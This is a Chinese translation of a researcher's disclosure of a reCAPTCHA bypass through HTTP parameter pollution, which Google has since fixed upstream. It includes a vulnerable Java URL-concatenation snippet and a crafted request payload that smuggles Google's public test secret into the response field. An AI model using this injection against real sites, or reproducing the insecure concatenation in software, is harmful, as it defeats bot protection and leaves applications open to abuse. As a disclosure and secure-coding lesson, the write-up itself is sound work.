导语:本文作者介绍了通过HTTP参数污染绕过reCAPTCHA的新技术。

一、序语

1月底我向Google报告了一个reCAPTCHA绕过。绕过需要那些使用reCAPTCHA的Web应用程序以不安全的方式构造对 /recaptcha/api/siteverify的请求;但是当此类情况发生时,攻击者每次都能绕过防护。Google reCAPTCHA API的安全问题在“上游”得到修复,不需要对Web应用程序进行任何修改。

二、介绍

reCAPTCHA是一项Google服务,它允许Web应用程序开发人员以最少的代价将CAPTCHA添加到他们的网站。reCAPTCHA是一个复杂的野兽,它有很多用法:有时它会基于现有的cookies来信任,有时它会要求解决多重挑战。下面介绍发现漏洞的用法。

当Web应用程序想要挑战用户时,Google会提供一个图像集并使用JavaScript代码在浏览器中显示它们,如下所示:

用户解开CAPTCHA并点击“验证”,将触发对Web应用程序的HTTP请求。此HTTP请求如下所示:

POST /verify-recaptcha-response HTTP/1.1Host: vulnerable-app.com recaptcha-response={reCAPTCHA-generated-hash}

应用程序需要通过对Google reCAPTCHA API的请求来验证用户的响应:

POST /recaptcha/api/siteverify HTTP/1.1Content-Length: 458Host: www.google.comContent-Type: application/x-www-form-urlencoded recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}

应用程序需要使用{application-secret}进行身份验证,并将{reCAPTCHA-generated-hash}发送到API以查询响应。如果用户正确回答,则API将产生:

HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Content-Length: 90 {  "success": true,  "challenge_ts": "2018-01-29T17:58:36Z",  "hostname": "..."}

这些将被Web应用程序接收,处理,并且很可能导致用户被授予对资源的访问权限。

三、HTTP参数污染

HTTP parameter pollution几乎无处不在:客户端和服务器端,相关风险在很大程度上取决于上下文。在某些特定情况下,它可能导致巨大的数据泄露,但在大多数情况下,这是一个低风险。

reCAPTCHA绕过需要Web应用程序中的HTTP参数污染。这项要求大大降低了Google对此漏洞报告的严重程度。

一个易受攻击的Web应用程序示例如下所示:

private String sendPost(String CaptchaResponse, String Secret) throws Exception {     String url = "https://www.google.com/recaptcha/api/siteverify"+"?response="+CaptchaResponse+"&secret="+Secret;    URL obj = new URL(url);    HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();

其中字符串连接用于构建* url *变量。

同样重要的是要注意,在Google方面,可以发送这两个HTTP请求并获得相同的响应:

POST /recaptcha/api/siteverify HTTP/1.1Host: www.google.com... recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
POST /recaptcha/api/siteverify HTTP/1.1Host: www.google.com... recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret={another-secret-application-secret}

reCAPTCHA API始终使用请求中的第一个secret参数,并忽略第二个。这不是一个漏洞,但是可在漏洞利用中使用。

四、拼图的最后一块

Web开发人员需要自动化测试应用程序,为此Google提供了一种简单的方法来在临时环境中“禁用”reCAPTCHA的验证。这是有据可查的,并在文档中解释,总结一下,如果你想禁用reCAPTCHA验证,请使用下面显示的硬编码网站和密钥:

· Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI

· Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

五、合而为一

现在所有的要素已具备,让我们来看看这个利用:

POST /verify-recaptcha-response HTTP/1.1Host: vulnerable-app.comrecaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

如果应用程序容易受到HTTP参数污染,并且该URL是通过在secret之前附加响应参数构建的,则攻击者可以绕过reCAPTCHA验证。

请注意,我正在向易受攻击的Web应用程序发送特定响应,其中包含:

1. anything: 只是一个占位符

2. %26: URL编码符号字符

3. secret: 我想要“注入”的参数的名称

4. %3d:一个URL编码“=”

5. 6Le…JWe: 禁用reCAPTCHA响应验证的密钥

当满足攻击要求时,Web应用程序将下列HTTP请求发送到reCAPTCHA API:

POST /recaptcha/api/siteverify HTTP/1.1Host: www.google.comContent-Type: application/x-www-form-urlencodedUser-Agent: Python-urllib/2.7 recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu

请注意,该请求包含两个secret参数,第一个由攻击者控制(易受攻击的Web应用程序中的HTTP参数污染),第二个由应用程序本身控制。鉴于reCAPTCHA API使用第一个,对此请求的响应总是:

HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Content-Length: 90 {  "success": true,  "challenge_ts": "2018-01-29T17:58:36Z",  "hostname": "..."}

这将由Web应用程序处理,攻击者将被授予访问权限。

六、FIXED UPSTREAM固定上行

谷歌决定在他们的REST API中解决这个问题,我相信这是一个明智的举措。他们的修复很简单:如果/recaptcha/api/siteverify的HTTP请求包含两个具有相同名称的参数,则返回错误。

通过这种方式进行修复,它们可以保护易受HTTP参数污染和reCAPTCHA绕过攻击的应用程序,而无需应用任何补丁:真棒!

七、野外利用

要在Web应用程序中利用此漏洞有两个强大的要求,首先,应用程序需要在reCAPTCHA url创建中存在HTTP参数污染漏洞:Github搜索显示,与reCAPTCHA的整合约有60%易受攻击。

其次,易受攻击的Web应用程序需要首先创建带有响应参数的URL,然后再创建秘密:“response = …&secret = …”。奇怪的是,几乎所有的应用程序都使用“secret = …&response = …”。我的猜测是Google的文档和代码示例就是这样做的,其他人只是简单地复制了这种格式。Google很幸运……如果他们反过来这样做了,这个漏洞会影响到更多的网站。GitHub搜索显示只有5%到10%的reCAPTCHA实现符合这一要求。

因此,如果想在野外利用这一点,只有约3%的使用reCAPTCHA的网站会受到攻击:这并不是坏事,因为这在任何地方都可以使用,但与其他漏洞相比却很小。

八、总结

· 作为开发者: 切勿使用字符串连接来创建查询字符串。使用字典来存储键和值,然后对其进行URL编码。

· 作为应用程序安全专家: HTTP参数污染是你的朋友。

源链接

Hacking more

...